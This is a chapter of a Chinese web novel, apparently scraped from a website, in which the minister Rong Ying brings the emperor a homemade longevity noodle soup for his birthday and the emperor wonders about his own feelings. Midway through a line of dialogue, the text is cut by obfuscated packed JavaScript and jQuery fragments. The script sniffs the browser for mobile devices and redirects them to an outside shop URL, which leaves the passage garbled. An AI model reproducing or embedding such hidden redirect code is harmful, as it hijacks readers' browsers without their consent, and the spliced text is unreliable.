34. 第三十四章

作品:《陛下他总疑心我读档

    宥邢居然喜爱吃甜食。


    一瞬间,容瑛有种过去在街上看到花臂大汉穿着碎花小裙子的那种巨大的冲击感。


    她回去特意打听了当下流行的糕点,顺带还听了听不知道第几手的宫廷秘闻。据传,天子的生母是江南人,尤其是桂花糖蒸栗粉糕,是陛下幼时最爱,这回如果能做这个,想必是十拿九稳。


    但......最优选已经出现在了童年的记忆中,那后来者再怎么厨艺高超,也不过都是模仿而已。


    照虎画猫,反而招笑,且,她也没那个技术,思来想去,自己一个外臣,哪怕陛下再宠信,巴巴地端着一盘糕点去给皇帝祝寿,那像什么话?!


    这么一想,面条,就不一样了。


    长寿面寓意好,工序简单,就算做丑了,也能糊弄得过去。往食盒里一装,也还算合情合理。


    综合来看,极具性价比。


    二月末,年节的喜色尚未褪去,邻国前来贺寿的人也陆陆续续抵达了驿站。时隔许久的休沐,容瑛特意起了个大早,趁着府里人还没醒,偷偷溜进厨房。


    厨房的婆子被吓了一跳,差点没把扫把抡过来,容瑛一顿好说歹说,才让人相信她只是一时兴起给长辈做碗面。


    婆子将信将疑,“当真?二公子,你们男的可不能下厨的啊,那可是坏了规矩了!”在她有限的认知里,向来是女子下厨,除去年节,平日里,寻常男子都极少进厨房,更何况主家这样的门户!


    但二公子又说是给长辈做......出于孝道的考虑,也说得过去。她思索两息,还是给腾了个灶眼,又简单教了容瑛几手。


    一个时辰后,容瑛顶着小半脸的面粉,端详着面前那碗面。面条粗细不一,有的如筷子,有的似发丝,不过好在,都煮熟了。


    能吃。


    汤头是她偷师来的鸡汤,鸡本身的新鲜,中和了许多没有佐料的困窘,撇了油,看着清亮亮的,飘着几粒枸杞和葱花。


    她默默尝了一口汤,不淡不咸,还行。


    可以了。


    容瑛松了口气,换好官袍,又在食盒里放了个小蝶,备上几颗蜜饯果脯,这才拎着出了门。


    ......


    御书房内,屏退左右后,气氛沉静。


    容瑛整理了不知道第几遍衣冠后,见宥邢还是沉浸在公务中,丝毫没有搭理她的意思,不由得有些头大。


    她今日特意穿了身新衣,熏了新的熏香,此时站着,越站越觉得是抛媚眼给瞎子看。


    食盒放在桌案一角,看起来很明显,又好像很隐蔽。


    大老板同样熟视无睹。


    她继续站在一旁,大气也不敢出,一阵长久且诡异的沉默后,容瑛干脆开始数自己的心跳声。


    几乎是她刚一走神,那侧,宥邢放下朱笔,掀起眼皮瞧了过来,目光淡淡的,“这是什么?”


    容瑛登时回神,恭敬道:“陛下,这是......呃,长寿面。”她忽然有一种考倒数第一的家长被老师问孩子成绩的错觉,忙定了定神,继续道:“臣受陛下照拂,听闻万寿节将至,故而,想要略表心意。”


    她率先滑跪,“陛下勿怪!”


    宥邢不语,停顿两息,缓缓打开食盒,盒内的热气腾得一下冒了上来,带着鸡汤的鲜香气息。


    他垂首看去,粗细不一的面条在清亮的汤汁里,形态各异,枸杞红红的,兴许还是拿的他赏赐去的那批,撒了些许葱花,旁边的小蝶里搁着几颗蜜饯。


    他的目光在果脯上停了一瞬。


    容瑛一直盯着他的脸,见他的目光落在果脯上,连忙解释,“听闻陛下喜甜,但是面里如果加糖,恐怕会坏了味道,所以臣便另外备了一叠果脯,陛下若想用,可以配着吃。”


    面条配着果脯蜜饯吃?还真是“独特”。


    宥邢神色不变,“你这是在送礼?”帝王生辰,送礼的臣子数量繁多,明里暗里,送的也是一份人情世故。同僚送了,你若不送,便显得有些不妥,同僚没送,你却送了,又像是特意求表现。


    但......


    容瑛这只笨兔子,眼下,好像不止是这个意思。


    宥邢静静看了过来,一双浅棕色的眸子,眼底满是一派复杂情愫。


    半晌,帝王的目光又倏然变得有些奇怪,像是有什么东西在眼底化开,又像是被微微触动了下,细瞧,也好似什么也没有。


    他没说话,只拿起筷子,夹了两根面条送入口中。


    容瑛屏住呼吸。


    宥邢咀嚼几下,咽下,又夹了一根。


    容瑛不能呼吸。


    有一搭没一搭的咀嚼声中,宥邢就这么吃了小半碗,片刻,忽然放下筷子,拈起一颗蜜饯放进嘴里。


    容瑛轻轻呼吸。


    待宥邢咽下那颗蜜饯,再次望来,这次,他的视线停留得有些久,“......这面,是你亲手做的?”


    “是。”容瑛老实交代,“让厨房的婆子教了教,但臣......手比较笨,也只能做成这样了,陛下见谅。”


    宥邢不置可否,再次看向那碗卖相普通,甚至有几分寒颤的面条,连带着那一碟果脯。这都是极为寻常之物。可他心里那股堵了好几日的、不知名的郁气,却仿佛在此刻找到了一个狭窄的出口。


    如同这面冒出的热气,蒸腾向上,直入心间。


    这是容瑛花了心思、亲手做的。


    宥邢默默垂眼,又夹了一筷子面,好一会儿,才淡淡开口,“......味道还算尚可。”


    容瑛心头一喜,“陛下不嫌弃便好。”


    宥邢没接话,继续吃面,吃着吃着,喝了口汤,忽地又道:“除夕那日,你说你的表妹送了你帕子和糕点,你要回礼。”


    容瑛一愣,不知道他好端端地怎么又提起这茬。


    宥邢不理会,继续道:“朕送你那么多东西,你......莫不是就准备只回这一碗面?”


    容瑛:“......呃。”


    她高兴得太早了。


    回神,她连忙道:“陛下赏赐,臣......自然不能以寻常礼数对待,这碗面......这碗面也算不得什么的!”


    “只是、只是臣的一点心意,不值什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346994|197230||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么......”


    “朕知道。”宥邢打断道,说完,继续吃面,直至将整碗面吃了个干净,这才放下银筷,端起茶盏漱起口。


    “毕竟前两日,你还故意让朕好一阵头晕。”他意有所指,“今日,却又转性了。”


    冷冰冰的语调说出这种宛如阴阳怪气的话语,容瑛听着,心里的紧张感反倒消失大半。


    能开玩笑,那说明她如今和老板的关系还是很可以的了。


    至少,隶属于自己人的范畴。


    “哪里......臣惶恐。”她真诚道:“臣一颗心都在陛下身上,想陛下所想,忧陛下所忧啊!”


    “那也是见陛下不太理会臣,这才、这才出此下策。”


    “实在是鬼迷心窍了!”


    宥邢一顿,眉梢微扬,“你倒是越来越鬼话连篇。”


    见人消气,容瑛嘿嘿一笑。


    少年人眉眼温软,瓷白的肌肤清透无暇,露出几颗贝齿,两厢映衬,更显得这份笑颜如花。


    宥邢定定注视片刻,不由得想起过往的一些画面。


    有容瑛站在御案前紧张兮兮、自以为掩饰得不错盯着他吃面,有除夕前夜,他心虚的神情,更有梅林掩映间,他扶着那女子的画面。


    毫无征兆,毫无关联。


    宥邢扪心自问,曾经,他也不是没有遇到过这样的臣子。


    但对待那些人,他要么只觉得这人办事还算牢靠,要么觉得是文章写得好,要么就是打仗带兵有一套。朝中人才济济,臣子们自是各有优点与长处,可面对容瑛这样的草包。


    他第一瞬的反应,竟是觉得他......


    长得好。


    脸型内敛流畅,眸子灿若星辰,鼻梁秀挺,眉形细长,越想,越能觉出诸多细节,直至,那张脸顺其自然地映入脑中。


    久久不散。


    这不对劲。


    莫非,他真是......断袖?


    思及此,宥邢轻抚额角,长长的眼睫低垂着,薄唇更是抿成一条线。容瑛站在他身旁,上一瞬还发现氛围不错,下一瞬,就发现好像有些晴转阴天。


    男人心,海底针啊。


    “你先回去吧。”


    容瑛:“......”什么意思?


    他不是消气了吗?!


    “陛下,您......?”她试探道。


    宥邢语气淡淡,“这几日不必来御书房当值了,先回去吧。”


    “......是。”


    臭男人!吃了她的面条,还要过河拆桥!!


    宥邢语气一顿,又道:“过两日,你再过来。”


    容瑛眸子一亮,“臣领旨!”


    ......


    等人离开,宥邢方才挪开视线,扫向桌案边缘,方才摆放食盒的位置。


    食物的清香若有若无,连带着几缕更为难辨的素雅花香,盘旋四周。


    他轻俯下身,鬼使神差嗅了嗅,下一刻,仿佛触电一般飞速弹开。


    花香散去,那侧空无一物。


    只余擂鼓般的心跳,声声不停。